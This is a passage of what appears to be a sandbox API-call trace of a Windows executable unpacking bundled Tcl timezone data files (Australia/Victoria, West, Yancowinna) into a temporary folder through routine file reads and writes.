cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Victoria") returned 75 [0041.134] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Victoria" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\victoria"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.135] GetFileType (hFile=0x10c) returned 0x1 [0041.135] htonl (hostlong=0xc7000000) returned 0xc7 [0041.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.135] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc7, lpOverlapped=0x0) returned 1 [0041.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.136] CloseHandle (hObject=0x10c) returned 1 [0041.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.136] htonl (hostlong=0x30000000) returned 0x30 [0041.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.136] GetFileType (hFile=0x10c) returned 0x1 [0041.136] htonl (hostlong=0xe3905b00) returned 0x5b90e3 [0041.136] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6040e3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.136] htonl (hostlong=0x8a000000) returned 0x8a [0041.136] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0041.136] htonl (hostlong=0x8a000000) returned 0x8a [0041.136] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.136] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.137] htonl (hostlong=0xb7000000) returned 0xb7 [0041.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x550600 [0041.137] htonl (hostlong=0x8a000000) returned 0x8a [0041.137] htonl (hostlong=0xb7000000) returned 0xb7 [0041.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.137] CloseHandle (hObject=0x10c) returned 1 [0041.137] GetLastError () returned 0x0 [0041.137] SetLastError (dwErrCode=0x0) [0041.137] GetLastError () returned 0x0 [0041.137] SetLastError (dwErrCode=0x0) [0041.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.137] GetFileType (hFile=0x10c) returned 0x1 [0041.137] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.137] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.137] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.137] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.137] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.137] CloseHandle (hObject=0x10c) returned 1 [0041.144] GetLastError () returned 0x0 [0041.144] SetLastError (dwErrCode=0x0) [0041.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.144] GetFileType (hFile=0x10c) returned 0x1 [0041.144] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.144] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.144] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.144] CloseHandle (hObject=0x10c) returned 1 [0041.144] GetLastError () returned 0x0 [0041.144] SetLastError (dwErrCode=0x0) [0041.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.145] GetFileType (hFile=0x10c) returned 0x1 [0041.145] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.145] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.145] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.145] CloseHandle (hObject=0x10c) returned 1 [0041.145] GetLastError () returned 0x0 [0041.145] SetLastError (dwErrCode=0x0) [0041.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\West") returned 71 [0041.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\West" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\west"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.145] GetLastError () returned 0x2 [0041.145] SetLastError (dwErrCode=0x2) [0041.145] GetLastError () returned 0x2 [0041.145] SetLastError (dwErrCode=0x2) [0041.145] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\West", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\West", lpFilePart=0x0) returned 0x46 [0041.145] GetLastError () returned 0x2 [0041.145] SetLastError (dwErrCode=0x2) [0041.145] GetLastError () returned 0x2 [0041.145] SetLastError (dwErrCode=0x2) [0041.145] GetLastError () returned 0x2 [0041.146] SetLastError (dwErrCode=0x2) [0041.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\West") returned 71 [0041.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\West" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\west"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.147] GetFileType (hFile=0x10c) returned 0x1 [0041.147] htonl (hostlong=0xb7000000) returned 0xb7 [0041.147] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.147] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7, lpOverlapped=0x0) returned 1 [0041.148] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.149] CloseHandle (hObject=0x10c) returned 1 [0041.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.149] htonl (hostlong=0x30000000) returned 0x30 [0041.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.149] GetFileType (hFile=0x10c) returned 0x1 [0041.149] htonl (hostlong=0x6d915b00) returned 0x5b916d [0041.149] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60416d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.149] htonl (hostlong=0x92000000) returned 0x92 [0041.149] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0041.149] htonl (hostlong=0x92000000) returned 0x92 [0041.149] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.149] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.149] htonl (hostlong=0xcf000000) returned 0xcf [0041.149] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcf) returned 0x546940 [0041.149] htonl (hostlong=0x92000000) returned 0x92 [0041.149] htonl (hostlong=0xcf000000) returned 0xcf [0041.149] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.149] CloseHandle (hObject=0x10c) returned 1 [0041.149] GetLastError () returned 0x0 [0041.150] SetLastError (dwErrCode=0x0) [0041.150] GetLastError () returned 0x0 [0041.150] SetLastError (dwErrCode=0x0) [0041.150] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.150] GetFileType (hFile=0x10c) returned 0x1 [0041.150] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.150] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.150] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.150] CloseHandle (hObject=0x10c) returned 1 [0041.150] GetLastError () returned 0x0 [0041.150] SetLastError (dwErrCode=0x0) [0041.150] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.150] GetFileType (hFile=0x10c) returned 0x1 [0041.150] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.150] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.151] CloseHandle (hObject=0x10c) returned 1 [0041.151] GetLastError () returned 0x0 [0041.151] SetLastError (dwErrCode=0x0) [0041.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.151] GetFileType (hFile=0x10c) returned 0x1 [0041.151] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.151] CloseHandle (hObject=0x10c) returned 1 [0041.151] GetLastError () returned 0x0 [0041.151] SetLastError (dwErrCode=0x0) [0041.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Yancowinna") returned 77 [0041.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Yancowinna" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\yancowinna"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.152] GetLastError () returned 0x2 [0041.152] SetLastError (dwErrCode=0x2) [0041.152] GetLastError () returned 0x2 [0041.152] SetLastError (dwErrCode=0x2) [0041.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Yancowinna", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Yancowinna", lpFilePart=0x0) returned 0x4c [0041.152] GetLastError () returned 0x2 [0041.152] SetLastError (dwErrCode=0x2) [0041.152] GetLastError () returned 0x2 [0041.152] SetLastError (dwErrCode=0x2) [0041.152] GetLastError () returned 0x2 [0041.152] SetLastError (dwErrCode=0x2) [0041.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Yancowinna") returned 77 [0041.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Yancowinna" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\yancowinna"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.152] GetFileType (hFile=0x10c) returned 0x1 [0041.152] htonl (hostlong=0xcf000000) returned 0xcf [0041.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.152] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcf, lpOverlapped=0x0) returned 1 [0041.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.153] CloseHandle (hObject=0x10c) returned 1 [0041.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, 